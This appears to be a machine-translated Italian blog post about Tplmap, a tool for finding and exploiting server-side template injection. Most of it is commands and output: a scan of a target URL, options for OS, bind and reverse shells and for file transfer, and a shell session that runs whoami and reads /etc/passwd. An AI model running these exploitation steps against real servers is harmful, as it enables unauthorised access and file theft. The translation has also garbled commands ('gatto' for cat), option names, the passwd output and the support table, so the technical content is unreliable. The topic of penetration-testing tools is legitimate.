Tplmap – identificare e utilizzare il motore dei modelli

Tplmap

Quando si esegue un test di penetrazione di una pagina Web che genera contenuto dinamico utilizzando modelli con valori forniti dall'utente, è possibile che si riscontri una vulnerabilità di inserimento di modelli sul lato server. L'identificazione manuale del motore modello con cui si sta trattando e il successivo sfruttamento possono essere facilmente automatizzati utilizzando lo strumento Tplmap.

Tplmap è in grado di rilevare e utilizzare SSTI in diversi tipi di motori modello. Ha funzionalità come la navigazione nel file system e l'esecuzione remota di comandi sul server attaccato.

$ ./tplmap.py -u «http://www.target.com/page?name=John»
[+] Tplmap 0.5
    Strumento automatico di rilevamento e sfruttamento dell'iniezione di modelli sul lato server

[+] Verifica se il parametro GET 'nome' è iniettabile
[+] Il plug-in Smarty sta testando il rendering con tag '{*}'
[+] Il plug-in Smarty sta testando l'iniezione cieca
[+] Il plug-in Mako sta testando il rendering con tag '${*}'
...
[+] Il plug-in Jinja2 sta testando il rendering con tag '{{*}}'
[+] Il plug-in Jinja2 ha confermato l'iniezione con tag '{{*}}'
[+] Tplmap ha identificato il seguente punto di iniezione:

Parametro GET: nome
  Motore: Jinja2
  Iniezione: {{*}}
  Contesto: testo
  Sistema operativo: linux
  Tecnica: rendering
  Funzionalità:

Esecuzione del comando shell: circa
   Guscio di legare e invertire: circa
   Scrittura file: ok
   Lettura file: ok
   Valutazione del codice: ok, codice python

[+] Rieseguire tplmap fornendo una delle opzioni seguenti:

--shell del sistema operativo Esegui shell sulla destinazione
    --comandi della shell di esecuzione os-cmd
    --bind-shell PORT Connettersi a una shell associazione a una porta di destinazione
    --PORTA HOST a shell inversa Inviare una shell alla porta dell'utente malintenzionato
    --caricare file DI CARICAMENTO REMOTO LOCALE nel server
    --scarica REMOTE LOCAL Scarica file remoti

Utilizzare l'opzione --os-shell per eseguire lo pseudoterminale sulla destinazione.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Strumento automatico di rilevamento e sfruttamento dell'iniezione di modelli sul lato server

[+] Eseguire comandi nel sistema operativo.

linux $ whoami
ragnatela
linux $ gatto /etc/passwd
radice:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
collocazione:x:2:2:collocazione:/collocazione:/collocazione/sh

Tplmap supporta più di 15 motori modello:

motoreEsecuzione remota dei comandiciecoValutazione del codiceFile di letturaScrivi nel file
Makopitone
Jinja2pitone
Python (valutazione del codice)pitone
tornadopitone
NunjucksCodice JavaScript
carlinoCodice JavaScript
puntoCodice JavaScript
MarkoCodice JavaScript
JavaScript (valutazione del codice)Codice JavaScript
Polvere (<= [email protected])Codice JavaScript
EJSCodice JavaScript
Ruby (codice eval)rubino
snellorubino
erbiorubino
Smarty (non protetto)PHP
PHP (valutazione del codice)PHP
Ramoscello (<=1.19)PHP
Segno di spunta×
Velocity×
Ramoscello (>1.19)×××××
Smarty (protetto)×××××
Polvere (> [email protected])×××××

Tplmap può essere trovato sul creatore github – tplmap.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Aggiungi ai preferiti : permalink.

Podziel się swoją opinią na temat artykułu